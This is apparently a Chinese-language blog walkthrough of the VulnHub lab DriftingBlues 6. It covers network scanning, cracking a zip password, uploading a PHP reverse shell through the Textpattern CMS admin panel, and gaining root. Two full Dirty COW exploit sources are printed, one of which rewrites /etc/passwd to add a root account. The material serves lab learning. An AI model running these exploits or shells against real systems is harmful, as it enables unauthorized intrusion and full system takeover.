靶机渗透练习06-driftingblues6

靶机描述

靶机地址:https://www.vulnhub.com/entry/driftingblues-6,672/

Description

get flags

difficulty: easy

about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.28

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

image-20220220171414175

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

☁  kali  nmap -A -sV -T4 -p- 192.168.9.28
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-20 17:14 CST
Nmap scan report for 192.168.9.28
Host is up (0.00050s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/textpattern/textpattern
|_http-title: driftingblues
|_http-server-header: Apache/2.2.22 (Debian)
MAC Address: 08:00:27:D9:5B:D8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.50 ms 192.168.9.28

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.05 seconds

80---http---Apache httpd 2.2.22 ((Debian))

2.2枚举漏洞

80 端口分析

访问 80 端口

image-20220220171556173

查看一下源代码

image-20220220171634045

扫描一下目录dirsearch -u http://192.168.9.28/

image-20220220171759024

访问:http://192.168.9.28/robots.txt

image-20220220171840983

访问:http://192.168.9.28/textpattern/textpattern/

image-20220220171954307

可知CMS是 textpattern

kali本地搜索一下: searchsploit textpattern

image-20220220172059809

可利用的有点多,但是CMS版本不知道

咱们继续扫一下

gobuster dir --url 192.168.9.28 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,zip,bak,php

image-20220221011104294

除了/robots.txt发现了/spammer.zip

下载到本地,尝试打开发现有密码
image-20220221011250635

将压缩包中的 hash 提取出来转为 john 识别的格式然后保存为文件

image-20220221011441922

使用 john 开始破解:john --wordlist=/usr/share/wordlists/rockyou.txt hash

image-20220221011511654

成功拿到密码myspace4

解压文件后,打开文件后查看文件内容得到账户密码mayer:lionheart

2.3漏洞利用

2.3.1 登陆后台获取版本号

登陆网站

image-20220221011745928

image-20220221011803361

登录进去后再页脚发现了CMS的版本为4.8.3

image-20220221011840605

kali本地搜索漏洞:searchsploit textpattern 4.8.3

image-20220221011932621

尝试利用一下其中的模块

image-20220221012719545

image-20220221012730972

2.3.2 后台上传后门 getshell

既然模块没法利用,继续在后台页面进行寻找可利用的

image-20220221012905490

在这里找到可以上传

咱们上传kali本地webshell

image-20220221013215668

成功上传后,没有显示路径,在管理界面找到了上传文件的路径

image-20220221013353263

浏览器访问:http://192.168.9.28/textpattern/files/php-reverse-shell.php

kali监听:nc -lvp 6666

image-20220221013717901

成功拿到shell

使用 python 切换为 bash:python -c 'import pty; pty.spawn("/bin/bash")'

2.4权限提升

2.4.1 本地提权

在 shell 中寻找 suid 程序:find / -perm -u=s -type f 2>/dev/null

www-data@driftingblues:/$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/sbin/exim4
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/bin/ping
/bin/mount
/bin/umount
/bin/su
/bin/ping6

https://gtfobins.github.io/没有任何发现

咱们利用一下linpeas.sh信息收集一波

kali上开启http服务,python -m http.server 88

在目标靶机上下载linpeas.sh

image-20220221014720885

搜索漏洞:searchsploit linux 3.2.0-4

image-20220221014836557

发现经典脏牛searchsploit Dirty COW

image-20220221015028529

咱们查看一下40838.c文件内容

// $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball
#include <fcntl.h>                        //// pikachu
#include <pthread.h>                      //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball
#include <string.h>                       //// pokeball
#include <stdio.h>                        ////    (___)
#include <stdint.h>                       ////    (o o)_____/
#include <sys/mman.h>                     ////     @@ `     \
#include <sys/types.h>                    ////      \ ____, /miltank
#include <sys/stat.h>                     ////      //    //
#include <sys/wait.h>                     ////     ^^    ^^
#include <sys/ptrace.h>                   //// mmap bc757000
#include <unistd.h>                       //// madvise 0
////////////////////////////////////////////// ptrace 0
////////////////////////////////////////////// miltank
//////////////////////////////////////////////
int f                                      ;// file descriptor
void *map                                  ;// memory map
pid_t pid                                  ;// process id
pthread_t pth                              ;// thread
struct stat st                             ;// file info
//////////////////////////////////////////////
void *madviseThread(void *arg)             {// madvise thread
  int i,c=0                                ;// counters
  for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8
    c+=madvise(map,100,MADV_DONTNEED)      ;// race condition
  printf("madvise %d\n\n",c)               ;// sum of errors
                                           }// /madvise thread
//////////////////////////////////////////////
int main(int argc,char *argv[])            {// entrypoint
  if(argc<3)return 1                       ;// ./d file contents
  printf("%s                               \n\
   (___)                                   \n\
   (o o)_____/                             \n\
    @@ `     \\                            \n\
     \\ ____, /%s                          \n\
     //    //                              \n\
    ^^    ^^                               \n\
", argv[1], argv[2])                       ;// dirty cow
  f=open(argv[1],O_RDONLY)                 ;// open read only file
  fstat(f,&st)                             ;// stat the fd
  map=mmap(NULL                            ,// mmap the file
           st.st_size+sizeof(long)         ,// size is filesize plus padding
           PROT_READ                       ,// read-only
           MAP_PRIVATE                     ,// private mapping for cow
           f                               ,// file descriptor
           0)                              ;// zero
  printf("mmap %lx\n\n",(unsigned long)map);// sum of error code
  pid=fork()                               ;// fork process
  if(pid)                                  {// if parent
    waitpid(pid,NULL,0)                    ;// wait for child
    int u,i,o,c=0,l=strlen(argv[2])        ;// util vars (l=length)
    for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l
      for(o=0;o<l;o++)//////////////////////// repeat for each byte
        for(u=0;u<10000;u++)////////////////// try 10K times each time
          c+=ptrace(PTRACE_POKETEXT        ,// inject into memory
                    pid                    ,// process id
                    map+o                  ,// address
                    *((long*)(argv[2]+o))) ;// value
    printf("ptrace %d\n\n",c)              ;// sum of error code
                                           }// otherwise
  else                                     {// child
    pthread_create(&pth                    ,// create new thread
                   NULL                    ,// null
                   madviseThread           ,// run madviseThred
                   NULL)                   ;// null
    ptrace(PTRACE_TRACEME)                 ;// stat ptrace on child
    kill(getpid(),SIGSTOP)                 ;// signal parent
    pthread_join(pth,NULL)                 ;// wait for thread
                                           }// / child
  return 0                                 ;// return
                                           }// / entrypoint
//////////////////////////////////////////////

上传靶机后,进行编译运行

gcc -pthread 40838.c -o d
./d pokeball miltank

image-20220221015550129

利用失败

咱们换40839.c

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

上传文件后,编译运行

gcc -pthread 40839.c -o dirty -lcrypt
./dirty

image-20220221020012371

显示成功,会增加一个 root 账户:firefart,密码是 123456

咱们切换一下用户,发现成功拿到root权限,并在root目录下找到flag

image-20220221020222212

总结

本节通过目录扫描获取重要文件,进而获取网站用户名密码,然后通过上传 web 后门获取shell,最后使用脏牛漏洞提权。

  1. 目录扫描 gobuster
  2. 信息收集获取敏感文件
  3. zip2john 提取 hash
  4. John 破解 hash
  5. searchsploit 工具的用法
  6. 上传 web 后门
  7. 脏牛漏洞提权
posted @ 2022-04-01 14:17  hirak0  阅读(132)  评论(0编辑  收藏  举报